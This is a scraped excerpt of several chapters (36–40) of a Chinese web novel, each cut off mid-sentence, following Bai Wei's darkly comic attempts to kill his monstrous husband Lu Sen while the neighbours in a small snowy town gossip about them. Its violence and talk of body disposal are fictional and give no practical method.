但现在,他还要面对隆冬的疑问。卢森说:“在我妹妹去世后,我为了纪念她,改掉了自己的名字。” 隆冬只是点点头。她仍然盯着卢森看。 看来,卢森并没有打消她的疑虑。 “不过,事情还真巧啊!按理说,像你们这样的两个人,怎么会都来雪山镇工作和定居呢。”魏连道。 卢森也若无其事地先把问题抛给了隆冬:“是啊。我没想到你会留在雪山镇工作,在雪山镇的医院里做一名护士。是因为那场海难么?我也是在那场海难后,更加领悟了生命的意义。” “其实有没有那场海难,我都会回雪山镇的。因为我父母的身体……”隆冬低着头 。 “有你照顾,你父母一定很 第 36 章 吹牛 《经常死老公的都知道》全本免费阅读 “这几天,任医生怎么不过来了?” 小护士在检查白唯伤口时顺口提了一嘴。白唯只道:“任医生总是有正事要忙的。” 自乔敏来过之后,任君尧就消失在了白唯的病房里。说实话,这让白唯还挺意外的。前些日子任君尧不断在白唯面前暗中炫耀他的家庭、他的工作、还有他那温柔贤淑的老婆。每到这时,他就会提到白唯的丈夫:“不过,做维修工人,自食其力,也很不错了。” 一准的优越感。而且他认为白唯家的房屋和卢森的店铺都是白唯出钱购买的。他虽然自己做了赘婿,却同情找了个赘婿、给赘婿输血的白唯:“虽然夫妻之间本是一体,但是……这样听起来还是不太有上进心。我老婆的弟弟在镇上的银行工作,和镇长也有些关系。如果卢森愿意的话,我可以给他介绍一个工作,比如从银行的柜员开始……” 工作?还是和人打交道多的柜员? 白唯一想到这个画面就头痛。目前只是他发现了卢森是怪物,他若是放卢森去做银行柜员乃至跑基层的公务员,过不了两个月,整个雪山镇都该知道卢森是怪物了! 白唯于是回绝了。任君尧看着白唯的眼神里带了点同情。他觉得白唯是个性清高,不爱走关系,宁愿老公当一个赚不到钱的修车工人。这让白唯非常火大。 “大学时暗恋你的人,其实还挺多的。只是他们觉得你太冷淡,也觉得自己配不上你,都不敢靠近你。”任君尧说,“如果他们知道……他们一定会很意外吧。” “卢森有自己的优点。”白唯冷淡地说。 他表面维护自己的丈夫,心里却只有一句话。 该死的卢森! 是故,这几天任君尧没来,白唯只觉得这真是好极了。小护士写下记录,道:“之前镇上的人都说任医生是绝世好老公。不过现在,我们觉得你的老公才是真的好呢。” 白唯:…… “你受伤了,他每天过来照顾你,在小床上挤着睡觉,给你做饭吃。他明明不是学医的,看你的报告比谁都要仔细,还自学了那么多知识。前几天就连主任都被他吓了一跳。他精准地看出了好几个疑难病人的病因。主任说,可惜卢森没有学医,不然他一定是个天才好医生。”小护士说,“我们都很羡慕你呢!” “他……有这么厉害?”白唯表情诡异。 “你们在说什么呢?” 说曹操曹操就到。卢森端着新鲜水果回到门口。小护士看见他,嬉笑道:“你老婆恢复得很快,这两天就能出院了!” “是么?那真是太好了。”卢森道。 白唯:…… 这就要出院了? 小护士出去了。卢森很高兴。他把洗好的樱桃放在小桌上,端起白唯的手腕看。 白唯说:“这些樱桃?” “是那个带孩子的妈妈送来的。害你摔倒的那个。”卢森说。 “哦……我不喜欢吃,你吃吧。”白唯道。 卢森却没有立刻吃樱桃。他拿起清洁工具,开始打扫房间,扫干净小护士进病房前后落下的头发。白唯坐在床上,怀疑地看着卢森这洁癖的举动。他恍惚间,觉得这样的场景好像还不错。如果卢森是个人类的话,就这样压抑住自己蓬勃而出的、对世界的杀意,过下去也未尝不可。 “我下午得出去一趟。”卢森说,“我得去买点东西。” “买什么?”白唯如闲话家常一般道。 “礼物。给医生的、护士的、主任和院长的……你明后天就要出院了不是么?要感谢他们对你的照顾。”卢森说。 卢森这只怪物,竟然学会了人际往来了。他慷慨好施的名声,的确通过医院传播到了整个小镇。 白唯又想不仅如此,卢森这样一只怪物,还成为了医院工作人员心中的“绝世好丈夫”。 可这些人都不知道卢森的异常。 卢森每天晚上睡觉时,会失去呼吸。他用过的洗手台,会留下古怪的液体。每个晚上白唯都会因为奇怪的味道昏昏沉沉地睡去,醒来后发现自己的手腕在发热。卢森表面上在吃人类的饭菜,可他看见过卢森在咀嚼活着的鱼…… 往好处想,卢森是在帮他修复手腕,可往坏处想呢? 卢森可以让他的手腕加速恢复,也可以让他的身体从性冷淡走向另一个极端。可再往后呢?谁知道卢森又会对他的身体做什么?他是一只无法无天的、没有人类思维的怪物。他把自己骗到这里,不放自己离开,谁知道他过去和现在的目的是什么? 而且,卢森现在的名声如此好。这意味 着往后,他想要以卢森精神失常或家暴的理由干掉卢森,都会引起小镇人的怀疑。 白唯忽然不寒而栗了。他看着卢森的背影,那种虚幻的温暖褪去,留下的是更加冰冷的紧张和戒备。卢森越是表现得像人,他反而越是害怕。 卢森觉得白唯对自己忽冷忽热的。他将其归结于临出院时的紧张。还好两天后,他们又可以回到温暖的家里了。 那个被救的妈妈和她的闺蜜先来向白唯表示感谢。她收拾了头发和衣着,看起来不像当天那样憔悴。白唯收下了她的礼物。卢森却说:“你丈夫呢?” “他在忙呢。”女人苦笑。 她的闺蜜则面带愤怒。面对白唯,她笑着说:“以后欢迎你来光顾我家的咖啡厅,所有东西一律打七折。” 两个女人一起离开病房。被帮助的妈妈说:“麻烦你怀着孕还陪我来……” “正好做检查,不碍事。而且店里最近招了个干活还算麻利的小工……老黎!过来拎包!” 今天是工作日。乔敏和魏连都在上班,过来送别他们两个的医生和护士却很多。不得不说这是白唯和卢森共同经营的成果。只是白唯没想到,来送他们的人里还有数日不见的任君尧。 “恭喜出院,学弟。”任君尧微笑,“我和小冬请了假,来帮你搬东西。” 他在人前风度翩翩,但白唯从他的眼里看出了一点不甘心。很快,白唯就知道原因了。 “学弟你之前都没有说过。我还是从小冬那里才知道,卢森以前在法国留学,经营过一个画廊,还有双学位。”任君尧说,“果然是大隐隐于市啊。卢森,你还挺真人不露相的。” 他尽量在用轻松的语气说话,但白唯作为当事人,很明显能听出来他的嫉妒和失落。很明显,他过去以为卢森只有一张脸和身材不错,给白唯干活也算用心。他觉得白唯找上卢森,也只是像大小姐找乡下小白脸那样罢了。 乡下小白脸不学无术,当修车工人也当得不专业,不仅没想过精进自己的技术,还躺在没人来的店里摸鱼。至于买房、买车、各种铺张浪费,用的也是白唯这个已经写不出东西来的、声名“狼藉”的作家的钱。这样的两个人搬到雪山镇大半年闭门不出,也算是有迹可循了。 但事实是卢森也是大少 爷,还是个有口皆碑的富家公子哥。除此之外,即使是花钱水来的,他也有两个学位在手。一个艺术高雅 第 37 章 代课 《经常死老公的都知道》全本免费阅读 白唯的脑袋一下子就大了! 冷汗一滴,白唯努力寻找一个借口:“他……” “我从法国最好的大学毕业。” 男人醇厚的声音在车厢内响起,比起平日里的温和,更带了几分低哑的磁性。白唯骤然察觉到异样。他猛地盯向后视镜。 后座上的两个人都露出了恍然大悟的表情。 “哦……你是那所大学毕业的。”任君尧点头道。 催眠! 卢森会催眠! 亏他刚才还在帮卢森紧张地想借口。白唯在觉得自己被愚弄之余,又复杂地看向开车的卢森。 和这样时时刻刻都能颠倒黑白的、恐怖的怪物在一起…… 在白唯后背发寒之前,隆冬细细地说:“巴黎文理是个很好的学校,我在秋天去过那里。你能在那里读书,真的很幸运……” 任君尧:“你在说什么?卢森是巴黎理工的啊?” 隆冬:“你才是听错了吧。是巴黎文理。” 白唯:…… 他面无表情地再次看向开车的卢森。那张阴森可怖的脸从这一眼开始,又变得可恶和该死。 雪山镇最完美的夫妻从车上吵到车下,双方都无法理解对方的脑袋出了问题,坚持认为巴黎理工/文理才是卢森就读的法国最好的大学。大喇叭会计太太看见这边的热闹,探过头来:“怎么回事啊,原来你们这对也会吵得那么厉害?” 语毕,她又喜气洋洋地对卢森和白唯说:“出院了啊?欢迎回家!” 卢森微笑,白唯谨慎地说“谢谢”。 他一抬头,便被眼前的景象镇住了。 “很惊喜吧?这都是卢森这个月抽空弄的。他说你最喜欢玫瑰。”大喇叭会计太太道。 原本在吵架的任君尧和隆冬也停住了。鲜艳的玫瑰大朵大朵盛开,从前庭到后院,整座房屋都被热烈的红色所点缀包围了。这让他们的住所看起来,像是古典哥特故事里的城堡。 就像白家的、曾属于白雎的房间外,永远在白墙上盛开流泻的紫藤花。 “就像……一幅油画一样。”隆冬轻声赞叹。 ……这里的确很像一幅油画!但是白唯买回来的、闹鬼的那一幅! 任君尧则是大跌眼镜。他一直 在试图把卡包放进自己的大衣里,却忘记了自己这件大衣没有兜:“白唯,这是你家?” “嗯……”白唯说。 “那可不,这些家具和新装修,都是卢森这两个多月搞出来的呢!”会计太太得意道,“我也给了他很多建议!” 法官也推着老花眼镜走了过来:“卢森,你什么时候把你那两辆新车弄走。我打算给我家车库做个大扫除。你们自己的车库有四个车位,应该放得下吧?” 卢森带着一脸恍惚的众人进入客厅。白唯看着几天没见的家,心情难以言喻。 “你买了新车?”他转头问卢森。 卢森:“嗯,我们现在有一辆敞篷跑车,一辆越野车,一辆轿车,还有一辆面包车了!” 白唯:…… “你们家……”任君尧抽动嘴角许久,终于找到了一个问题。 “卢森,你既然是学金融和艺术的,怎么现在开始做修车工人了?”他问。 会计太太和隆冬都看了过来。白唯就在此刻抢先开口:“他一直对改装赛车很有兴趣。” “好!真不错!”法官大为赞赏,“探索自己的兴趣边界啊!” 白唯顶着卢森的目光把访客送出了家门。临走时,隆冬的电话响了起来。 “弟弟他?……好的,我们马上回家里。” 即将离开,一脸失落的任君尧又露出了矜持模样:“很高兴来拜访你们家。过几天,我们家里会举办一场聚会。你们到时候有空的话,可以参加。” 忽然,他转向卢森,露出了一个男人间的心照不宣的笑容:“卢森,听说你以前是个玩得挺花的公子哥儿。可以啊,不过结了婚,可要好好地忠实于家庭。” 语毕,他对隆冬一笑,温柔地拉着自己的妻子离开了。 卢森立刻对白唯道:“我没有……” “行了。”白唯厌倦地说,“我都知道。” 卢森又不是“卢森”,又怎么会当过巴黎炮王。至于卢森自己以前有没有做过什么…… 关他什么事? 白唯只对另一件事若有所思。他看了一眼手表——现在是下午三点,还是工作日,怎么看都不是银行的下班时间。他询问会计太太道:“隆冬家里有几个兄弟姐妹?” “哦,曾经有四个,现在在镇子上经常出来的只有两个。” “什么叫经常出来?” “他们家原本有四个孩子。隆冬是大姐,然后按春、夏、秋排列。”会计太太说到八卦的东西就不困了,“她现在在银行工作的弟弟是隆春。还有个弟弟隆夏和妹妹隆秋。可惜运气很不好,十年前,隆秋就在一场车祸里去世了,隆夏在那之后也病倒了,身体一直都很不好,基本只在家里养病,而且好像他的精神也有点……” “这一家人的运气很不好。十几年前,谁不说他们家人丁兴旺啊!”做园艺的法官如是说。 “行了行了,都是陈年旧历了。还好隆冬家庭幸福,隆春事业也厉害……哎,白唯,你等一下。”会计太太忽然说。 她跑回屋子里,拿了个毛线织的护腕来:“听说你把手腕摔了,我用毛线打了个护腕。你拿着。” 护腕落在白唯的手里,沉甸甸的。会计太太笑了笑,又回去和法官一起浇花了。 看着这对老头老太太的背影,白唯握着护腕,忽然不觉得他们会是那个被镇外的记者采访的人了。老太太的确爱八卦,镇外记者抹黑白唯的报道里的确带有许多非镇上人不能知道的细节,可他们在面对隆家的惨剧时,八卦得很保守。 这样的他们,真的会在镇外记者面前透露那么多捕风捉影的事情吗? 白唯目光又看向了另一边的邻居——探头探脑的超市老板。见白唯看过来,他说:“白唯,你能安全回来,我真是太高兴了!而且你们家里的新园艺做得非常好!” 老板竖起大拇指:“就是这样的漂亮花园,才能提升社区的房价啊!而且你还救了那个孩子,每个人都想要和有优秀声誉的人做邻居!” 白唯:…… 这人像个心里只有房价的NPC一样。白唯甚至觉得,他即使看见白唯在抛尸,也会为了房价守口如瓶,甚至帮忙去埋点土。 卢森就在这时从屋子里走了过来……白唯看见超市老板不知为何,身体瑟缩了一下。超市老板说:“我先去店里一趟,你们继续!” 他转身一溜烟地跑了。 “他怎么了?”卢森疑惑地看着超市老板的背影。 白唯也有点疑惑。不会是卢森这段时间干了什么被他看到了 吧。 考虑到卢森是只怪物,总不可能是吃人抛尸吧。 不是会计太太,也不是超市老板……那么接受记者采访的、对他们捕风捉影、对他们搬来这里怀有恶意的,会是镇子上的谁? 所有人都走了。在这间漂亮却阴森的房屋里,又只剩下了他和卢森两个人。白唯就在他们那蒸蒸日上的社区名声里打了个冷颤。面对和善的卢森,他努 第 38 章 补课 《经常死老公的都知道》全本免费阅读 白唯面无表情:“牛津大学。” 乔敏:“啊?卢森不是法国留学生吗?” 白唯:“嗯,我开玩笑的。” 他转身带着乔敏往屋内走去。乔敏探头探脑:“你们家客厅的这个黑桃木展示架真不错!怎么只有你的学位证书和奖杯,可以把卢森的也放出来呀。哦对了,卢森在哪里?我和他当面说下……” 白唯维持体面道:“他在二楼书房看风景。” 会不小心掉下来的那种。 窗外传来卢森闷闷的声音:“我马上过来。” 白唯眼前一黑。看来卢森已经成功把自己从土里拔出来了。 对于二楼坠落干不掉卢森这件事,白唯已然习惯。他端庄地坐在沙发上直到卢森进来,顺便听乔敏惊叫:“卢森你怎么满脑袋都是土?!” 白唯:“老公,你刚刚不是在书房里吗,怎么晃眼一看你跑到花园里去了。” 卢森对乔敏微笑:“哈哈,在花园里做园艺,抄了个近路。” ……下次带你去迪拜塔旅游。白唯想。 他起身去厨房倒杯冰水冷静一下,回来时就听见乔敏说:“好的,数学课和这两个月的美术课就都拜托给你了……” 白唯手里的杯子差点直接砸到地上。 “你们说什么?数学课和美术课?”他拔高了声音。 乔敏:“是呀,我们班的美术老师辞职了,还没招到新人。上个月的美术课都是我帮她上的。学生们怨声载道,不想一周又多出两节数学课。我刚刚想到卢森除了数学还学过艺术,这不是巧了吗?” “……这不太合适吧。”卢森懂什么艺术,跑去给学生讲莫奈莫里哀和莫言之间的亲缘关系么。 乔敏明显误会了白唯的意思:“真的很抱歉麻烦你们,除了学校的课时费之外,我这里也会付出额外报酬的。” “哦,当然不是。”白唯不想让乔敏觉得自己是在嫌麻烦,“我是觉得可能……” 该死的卢森! “可能,我也能帮忙?”白唯不得不把这个活计揽到了自己的身上。 “不不不行,你不是还要写作么。不能麻烦你。”乔敏拒绝得很坚决,而且甚至有种又听说了什么传闻的样子。 白唯心里种下了怀 疑的种子,并随着乔敏离开时留下的话成长得越来越茁壮。她拥抱了白唯一下,柔软道:“白唯,你不用压力太大。你现在最该做的是放轻松、享受生活。慢慢的,你总会有想写的东西的。” 在她离开后,白唯的脸色比之前任何一刻还要难看。 “你和其他人说什么了吗?”他问卢森。 卢森:“呃,什么?” “我的工作状态。” 卢森看起来比任何人都要茫然:“我什么都没说。宝贝,你不是每天都在书房里工作吗?” 难道是自己太敏感了? 白唯犹豫不定。他回到电脑前,在搜索框里打出自己的名字,想了想,最终什么都没做。 被铺天盖地讨论的那些日子犹在身边。还有一年前去南都时,在做出版业的生父那里发生的一切…… 白唯关闭了浏览器。 四周的书架铺天盖地地压下来。白唯孤独地坐在软垫木椅上。他想,自己不需要知道外界的任何事,也不需要靠近外界的任何人。 第二天,乔敏在离开雪山镇前把学校的资料拿给了卢森。魏连跟在她身边,当书本的搬运工。 “你这趟出门一定要小心。”魏连嘱咐她,“那堆天外来客快把外面的世界搞疯了!黑港城每天都像个在连环爆炸的炸药桶。” “哟!我以为你挺高兴的不是吗。你不是超喜欢看这些热闹么。”乔敏调侃他。 “因为这些东西和雪山镇又没有关系……这种危险的事,我还是希望它离我们自己的生活越远越好。”魏连不放心,“而且你不要大意了。现在他们可不止在黑港城活动,还开始在全世界到处跑了!” “啊?不是只在黑港城么?” “他们翻天覆地,要把‘隐藏BOSS’和‘第一杀手’找出来。我弟说,那群人的队长说了,这两个人的消失绝不是偶然。他们一定在暗地里联手,在那些繁华又危险的大城市里,制造新的阴谋……” “好吧,你让我害怕起来了。还是我们的雪山镇安全。什么坏人都没有。”乔敏嘀咕,“我走啦!” 年轻女人坐上了去机场的车。魏连留在原地,紧张地擦眼镜。他转头对白唯和卢森说:“我还真是紧张……除了雪山镇之外的地方,铺天盖地都是这些 ‘天外来客’和连环杀手的事情。时代的新主题变成了这场大战,所有人都会被牵扯到这些宏大的暴力和犯罪中……你们看起来也很担心的样子。” 他当然很担心。白唯无语地想。他担心卢森下周打算给这些学生讲什么东西。 至于魏连口中那些宏大的、血腥的、本来也应当让他感到兴奋的事情,已经完全被他抛到了脑后。 要不然就让卢森在众人面前出丑算了——谁让他吹牛的。回到家里后,白唯不住地想着。他觉得是时候该给卢森一点精神上的教训了。 “亲爱的。”卢森在楼下叫他,“你要吃杨枝甘露吗?我刚做的。” 自从白唯明确地表达了不喜欢卢森进自己的书房的需求后,卢森就把二楼书房和地下室视作了白唯的个人区域,除了打扫卫生外绝不踏入这两个地方。 即使白唯在书房里什么都没写。 在经历了蜜月旅行结束、从卢森身边逃离后的南都一行,并见到自己的生身父亲后,白唯就再也没真正写过一个字。 在那之后,他只在编辑的催促下,发过两次废稿——废得太明显,让人一看就火冒三丈,知道白唯根本没有打算合作的意思,唯一的用途只有证明白唯还活着,而且写得很烂/不想合作。 他再也没想过,去做一个作家。 白唯慢吞吞地下楼。卢森在桌子上又摆了一束新鲜的鲜花,玻璃碗里盛着晶莹的牛奶西米和芒果。在他坐定后,卢森给他拿了个白色猫猫头的小勺子。 白唯觉得这个勺子好幼稚,很无语。但他也象征性地吃了一口—— 呃,卢森做得还挺好吃的,不亚于米其林三星大厨水平。白唯臭着脸,又舀了一勺。 “亲爱的,你的写作进度怎么样了?”卢森坐在对面看他,湛蓝的眼睛像是大海。 “……在进行。”白唯一下子就没胃口了。 “哦,我想的是,如果你没有灵感的话,我们可以出去旅行几次,或许……” “你没听见魏连说么?外面兵荒马乱的。”白唯被戳中痛处,他放下勺子,索性开始质问卢森,“你备课备得怎么样了?” 卢森微笑:“我准备得挺不错的。下周我要讲的知识点是费曼点……” 那叫费马点!费曼是物 理学家! 白唯猛喝了三口杨枝甘露让自己冷静。旋即,他微笑道:“老公,那美术课你准备得怎么样?” “我打算给他们讲莫里哀……” “……” “哦,我以为莫奈是莫里哀的小名,就像伊丽莎白会被称为liz一样。”卢森摸了摸自己的鼻子。 白唯陷入绝望。他握着勺子很久,真心实意地询问卢森:“你认为可以胜任这份教职吗?” “我想也 第 39 章 眉心 《经常死老公的都知道》全本免费阅读 “这里……怎么会有一滩呕吐物?” 白唯指着地上乱七八糟的痕迹。 “哦,那是我留下的……”卢森立刻帮忙掩盖。 白唯来来回回在地下室与地下卫生间里走了三圈,用力摇头。 “不,这里明显有人生活过。呕吐物,包扎伤口,残余的食品袋子……至少是一个月半前留下的痕迹!”白唯蹲在地上,神经质地检查着一切残痕。而后,他的脑袋刷地抬起,漆黑的大眼睛看向卢森。 卢森:“……” 白唯:“你在撒谎……人是你带回来的,你把谁关在了这里?” ——完了,友善的谎言被拆穿了。 卢森有点头疼。他想要掩盖家里曾有人闯入的事实。一个人高马大的陌生人,藏在一对新婚小夫妻家里,除谋财害命之外,还能有什么目的? 而且,他还挑拨他们夫妻之间的关系! 卢森不想让白唯因此觉得雪山镇很危险。他希望白唯觉得雪山镇民风淳朴、人杰地灵、安宁祥和,很适合他和白唯在这里稳定地培养感情。卢森相信,和人相处就像写程序一样,只要它能动,就什么把它放在那里跑,什么都不要改。如今他和白唯的感情生活刚刚步入正轨,稳步发展,这一定是因为雪山镇存在某种天时地利人和。 为了这个潜在的运行环境因素,他不想要白唯离开雪山镇。但他同样无法拒绝白唯的请求。 然而白唯不仅敏锐地拆穿了他的谎言,得出来的结论还有些离谱。卢森发现,自己更不想白唯误会他。 白唯一家灯火通明一整夜,两人鸡飞狗跳,在家四处搜寻。 白唯不仅在地下室发现了呕吐的痕迹,血滴,还在一楼浴室里发现了被使用过的药箱……这一切都说明那个人受了很重的伤。 他看着眼前的一切,精神虽然冷静,手指却在细细颤抖。 他们的屋子里有什么能伤害到这个外来客?除了卢森,还能有谁? 而卢森,也找到了很多东西。 “亲爱的!我在草丛里发现了一个改冰锥陷阱!这绝对是那个人设下来谋杀我们的!” “亲爱的!花园水龙头旁边有一条裸露的电线!” “亲爱的!我在储物柜深处发现一包毒药,这一定是那个 人留下的!” 不好意思,这都是我留下的。白唯绝望地坐在藤椅上,听见自己的杀人陷阱被一个个拆除。 卢森把琳琅满目的道具一个个放入麻袋里。他转了转手中经过改装的发射器,惊讶道:“真没想到,这个人竟然在这么短时间内就设置了这么多的杀人陷阱!” 他又转向白唯,展示自己的搜查成果:“亲爱的,有这么多证据在此。你一定能相信我了吧?这个人不仅和我毫无关系,而且还想干掉我。” 看着自己过去的劳动成果的白唯:…… 他面无表情地看向卢森:“这个人,真不是被你关到地下室里的?” 卢森大冤枉:“老婆,当然不是!” 白唯:“那你说,这个人是来做什么的?” 卢森在“杀手”和“歹徒”之间妄图选一个不会那么让他胆小的老婆恐慌的词:“我不知道。” 白唯:…… 在他住院的这段时间里,卢森不仅在医院里养着一个他,还在地下室里藏着一个人?他对那个人做了什么?强/奸、囚禁、殴打、杀害? 白唯对此火冒三丈。卢森到底有没有想过,他这样简单的行为很容易引来警察调查,很容易让白唯的杀夫计划再度受阻!而且,若是事情败露,卢森被警察抓住,他白唯也会成为全雪山镇、乃至全世界的笑柄! 而且卢森这样的半文盲能懂得处理尸体的常识吗?尸体的腐臭味会引来苍蝇,也会引来行人的注意。罪恶在那之后便会暴露在光天化日之下。如果卢森没有对尸体进行特殊处理,对抛尸地点进行过深入调查,他们的生活从此和判了缓刑没有任何区别。 ……往好处想,或许卢森是把那个人给吃了。卢森既然是怪物,那么他会吃人也没什么好奇怪的。卢森吃掉了一切容易腐败的肉,喝掉了一切会散发气味的血。 白唯坐在椅子上,单手撑着自己的额头,这个猜想让他稍微好受了点。 ……但卢森会吃掉骨头吗?如果不会的话,骨头又被他吐到哪里了? 他对头骨进行过处理吗? 白唯终于看向卢森。这一刻,他的眼睛冷静、阴森,像是暴露了本性的冷血动物。 “他还在这座房子里吗?” 卢森觉得白唯一定是在 害怕。 可怜的白唯,被家里的入侵者吓得应激,满地掉毛。 “亲爱的,我已经搜索了房子里所有的地方,他已经不在这座房子里。”卢森试图去把白唯揽进怀里,“我们是安全的。” 白唯冷白的手却推开了他。 他的眼睛又暗又冷,像是夜幕下酒杯里的黑色冰块。 “我是说他的任何部分,在我们家里的任何地方。地下室?土底下?任何冰柜里?阁楼上?或者在你那个地窖里。”白唯说,“卢森,你有处理过他吗?你确定你把他处理好了吗?” “不是……亲爱的。”卢森被吓了一跳。他一开始以为白唯是害怕杀手藏在任何视觉死角之中,还在感叹白唯的纤细敏感,可白唯的后半句话,就像藏在层层叠叠的白色法蕾后的尖刀一样。在猝不及防之际,在美丽纯洁之中刺破了他的掌心。 “那应该是一个藏进我们家里的歹徒,或者流浪汉之类的。他看见我早出晚归照顾你,借此机会潜入,之后自己逃了,除此之外,我再也不知道别的什么了。”卢森说。 “那你为什么不报警?”白唯语调虽平静,却如长枪咄咄逼人,他的双眼像一把刀一样剐着他装糊涂的死鬼老公,推起一波又一波惊涛骇浪,“有人闯入我们家,你不应该报警吗?” “我觉得不需要报警,我不是已经检查过我们家了吗?”卢森故作轻松地说,“亲爱的,难道你想要报警吗?” 白唯话语中的潮水就在此刻落下了:“不,我也不想报警。” 但他的手却像蛇一样抓住了卢森的手腕,远比卢森计划中的揽他还要更加用力。他的声音更是有一种奇怪的、蛊惑人心的韵律:“但我们可以一起处理他的,老公。他既然闯进了我们家,他死在这里,也再正常不过了。可如果家里留下他的痕迹,留下的他各种部分,一旦被警察发现,就会有大麻烦。所以,你得让我知道他还在不在家里,我们才能好好地把他处理掉,没有一点痕迹……” 如果说平日里的白唯是高高在上的、纯洁的白色大理石雕像,在灯光下有雪的色泽。此刻的白唯分明也是白的,却带着仿佛是从黑墨中走出来的、极具魅惑又危险的气息。他坐在藤椅上,转过头,仰着脸看着他的丈夫,平静的眼眸像是藏着千言万语,让人不得 不受他的操控。 卢森发现自己能抵抗住这种魅力,可他会情不自禁地欣赏白唯此刻的脸庞。他说:“亲爱的,你放心。守护家庭的安全是丈夫一个人的事。我会处理好一切,不需要你操心。” “不,这是我们整个家庭的事。是我们两个人的事。” 白唯的这句话如同一场重重的黑雨,砸在卢森平静的湖心。 “我们是一家人,我们有要一起向外界保守的秘密。无论我们之间如何,我们都有共同的利益,共同的扩张欲望和只有我们彼此才能守卫、隐瞒的东西。” 无论我们之间发生了什么、又在对彼此想着什么。无论是否在未来一日,我们会用花瓶砸碎彼此的脑袋。你会知道我藏在档案袋背后的梦魇、无法治愈的神经、不可被救赎的灵魂、始终憎恶并在暗杀你的历史。我会知道你云遮雾绕的身份、精心编织的谎言、不可原谅的欺骗、贪婪好胜的本质、永远无法融入的与人绝不相同的冷血、残忍、血腥又肮脏的生活习惯。无论是否在未来一日,我会用枪击穿你的眉心,你会用刀刺入我的心脏—— 所有企图闯入这座被玫瑰花簇拥的精美房屋的外人,无论是强盗、好心人、还是毫无目的的流浪者。 他们都绝不可能,在触碰到我们之后,离开这里。 我们会永远为彼此干掉他们,将一切埋在玫瑰花漆黑的花泥中,守护这座房屋就像黑色雷雨云守护城堡。 这就是我们的家庭。 …… 几袋垃圾被放入面包 第 40 章 就是你!坏人! 《经常死老公的都知道》全本免费阅读 “咔。” 没有任何子弹从左轮手枪里射出。在扳机被扣动的那一刻,弹夹恰好转到了空的那一格。 “啊——!!!” 撕心裂肺的尖叫声响彻整个房屋。 白唯从床上蹦了下去,撞开卧室门,高速地往下狂奔。他的大脑在震颤,眼前所见的东西超越了他的认知,直接触发了他的本能。 白唯推倒走廊上的黑桃木架子,他和卢森买来的瓷器噼里啪啦洒落一地。他摘下墙壁上的挂画,用它挡住下楼的途经。接着,他冲向厨房,在他已经打开煤气,准备预设爆炸然后逃离这座房屋时—— “叮咚!” 门口,悦耳的铃声响起。 白唯不敢相信自己的耳朵。 “叮咚!” 又是一声。尽管不合时宜,但那的确是门铃声。 什么样的倒霉蛋会在这时闯入这座房子……在白唯举着手枪,一步步靠近大门时,门外传来了熟悉的声音。 “……不在家吗?哦!原来在这里!我找到备用钥匙了!” 清脆的开锁声响彻寂静的房屋。出现在门后的,是一张英俊又充满期待的脸。 “亲爱的!”他满怀笑容,对白唯伸出双手,“我回来了!” “……” “你是来迎接我的吗?你的手上怎么拿着枪?” 白唯举着枪,始终死死地盯着眼前的男人。卢森的表情从兴奋、到茫然、到隐约的害怕和戒备。最终,卢森举起双手道:“亲爱的……你先把枪放下,别让枪走火了。发生了什么?亲爱的,你别吓我……” 他甚至回头看了两眼,压低了声音:“我背后跟着什么人吗?” 白唯稍微挪开了枪口。可他仍冷酷地盯着卢森,仔细观察他身上的衣服。 每一件衣服,都是卢森昨天离家时穿的。 “你刚从外面回来?” “对……那袋东西里有很多危险品,我跑远了一些,以把它们丢得更远。为了摆脱潜在的追兵又在港口转了几圈。”卢森说,“后来我打算在港口买点海鲜,但安保说,港口今天有特殊货物入港,没有新鲜的东西。我怎么打听,他都不告诉我那货物是什么。所以,我只好转了两圈就往回开了。但路上,我发现家门钥匙丢 了,所以我又跑回去找……” 说着,他探头探脑,向屋内望了望:“到底怎么了?有陌生人要闯入家里吗?” 白唯还在上下扫视他。如果他的眼里能射出刀子,此刻卢森已经被凌迟了:“这就是你想说的所有话吗?这就是你昨天一天遇见的所有事?” “呃……其实。”卢森忽然伸手去摸白唯的肩膀,“我们进去说吧。” 白唯冷漠地站在门口,一动不动。 “听我说,进去,这很重要!”卢森压低了声音,与此同时,他的语气变得很急切、又略带些愤怒。最终,他重重地出了口气道:“好吧,我感觉,如果我不说出真相的话,你今天是绝对不肯配合我的了。” “从前我什么都不说,是因为不想吓到你……事实上。”卢森又回头看了看街道,在确定无人后,他把声音压得更低了,“在法国留学期间,我受到招徕,成为了一名间谍。” “……” 白唯的手指又转到扳机上了。他看卢森的眼神是“你信不信我是秦始皇?”。 “是真的。这些人拿到了我的照片,威胁我。他们还把我关起来,用几十个单词对我进行洗脑。这让我失去了一部分记忆,就连许多生活常识都忘记了。”卢森再度急切。 白唯:“那他们管你叫什么?夏日战士吗?法国为什么要培养你这个间谍,有什么意义?” “不!不是法国,而是……德国。希特勒的手下。”卢森绞尽脑汁,盘算自己脑内不多的历史常识,“你知道帝国的国家机器的力量。即使已经过去了那么多年,他们依然在寻找复辟的机会。而且,我在法国留学,法国有希特勒留下的势力……维希法国留下的势力,这很合理不是吗?毕竟二战刚开始时,法国就已经是德国的了!” 白唯握枪的手开始抖了。他陷入了震惊,这倒不是因为他觉得卢森在胡编乱造,而是因为卢森竟然知道维希法国,这对于一个文盲来说,是何等可贵的知识量啊。 但很快,他又握紧了手枪,而且厉声道:“这和你今天去干了什么又有什么关系!” 再和卢森混下去,他一定会变成一个弱智的! “别!别把手指扣在那里!亲爱的,左轮手枪可没有保险啊!” “你有保险就够了! 别把我想成连枪支结构都不知道的弱智!”白唯被刺激到神经,开始大喊。 “我,我交代!我今天在港口时除了去买鱼,还遇见了我以前的一个敌人。我和他聊了两句,然后就离开了。之后我发现钥匙消失,以为是被他偷走,所以我又跑回去找钥匙了!”卢森再度做出法国手势,“这个人和我积怨已久。我很怕他会跟踪到我家,对我家做出什么事……” “之前屋子里的那些痕迹,也是他留下的吗?……” “喂!!” 篱笆那边又传来了超市老板的声音。他气喘吁吁,显然是刚刚才跑到这里。他还穿着睡衣,擦着额头,开始怒骂。 “现在是晚上!是大晚上!你们一定要在每个晚上大吵大闹吗?!我的天啊!你们这栋联排别墅分左右两栋。右栋空置靠近会计太太那边。他们隔着一栋楼,不被吵到是正常的。可你们住的左边这栋靠近我啊!你们能不能有点做邻居的自觉!不要大晚上的大吵大闹,大喊大叫!” “真的很抱歉!”卢森大叫着回应他,伸手揽住白唯,要把他带回房子里去,“我们会回去解决好我们的事情的!” “你还没回答我!之前屋子里的那些痕迹,也是他留下的吗?” 